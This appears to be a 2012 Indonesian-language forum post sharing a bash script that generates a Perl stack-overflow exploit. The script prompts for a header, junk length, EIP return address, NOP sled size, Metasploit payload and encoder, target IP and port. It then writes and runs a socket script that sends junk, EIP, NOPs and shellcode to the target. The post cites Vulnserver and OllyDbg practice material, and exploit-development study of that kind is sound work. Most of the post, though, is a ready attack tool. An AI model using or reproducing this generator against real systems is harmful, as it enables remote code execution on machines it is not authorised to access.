07-24-2012, 03:24 AM
Program ini digunakan untuk otomatis exploit suatu program dengan sending via socket. Namun sebelum menentukan exploitnya harus mngetahui register EIP yg akan di overwrite untuk menentukan SEH Handler
Referensi :
Vulnserver And Ollydbg
OllyDbg Tricks for Exploit Development
Code:
#! /bin/bash
echo "Generate Automatic Exploit And Sending Bad Char Via Socket Perl"
echo "USAGE: ./createplexploit.sh [file]"
echo " "
echo "Header yang diinginkan?"
read header
echo "Berapa ukuran Bad Char?"
read junksize
echo "Register EIP yang akan di overwrite?"
read eip
echo "Berapa NOP yang akan dikirim?"
read nop
echo "Payload yang digunakan?"
read payload
echo "Encoder yang digunakan?"
read encoder
echo "Pilihan untuk mengunakan payload (anda harus tahu ini)"
read ploptions
echo "IP anda? (Say \$ARGV[0] to make it ask)"
read ip
echo "Port yang digunakan untuk megirim exploit? (Say \$ARGV[1] to make it ask)"
read port
echo "###################"
echo "# Sending Exploit #"
echo "# Good Luck #"
echo "# h3ll0s #"
echo "###################"
sleep 10
#Proses Perl Sending Exploit Via Socket
echo '#! /usr/bin/perl' > $1
echo 'use IO::Socket;' >> $1
echo "\$header = \"$header\";" >> $1
echo "\$junk = \"\\x41\" x $junksize;" >> $1
echo "\$eip = pack('V', $eip);" >> $1
echo "\$nop = \"\\x90\" x $nop;" >> $1
shellcode=`msfpayload $payload $ploptions EXITFUNC=seh R | msfencode -t perl -e $encoder | grep -e '"'`
echo "\$shellcode = $shellcode" >> $1
echo '$socket = IO::Socket::INET->new(' >> $1
echo 'Proto => "tcp",' >> $1
echo "PeerAddr => \"$ip\"," >> $1
echo "PeerPort => \"$port\"," >> $1
echo ');' >> $1
echo '$socket->recv($serverdata, 1024);' >> $1
echo 'print $serverdata;' >> $1
echo '$socket->send($header.$junk.$eip.$nop.$shellcode);' >> $1
echo "Selesai"
cat $1
chmod +x $1
echo "http://twitter.com/h3ll0s_c0de"
Referensi :
Vulnserver And Ollydbg
OllyDbg Tricks for Exploit Development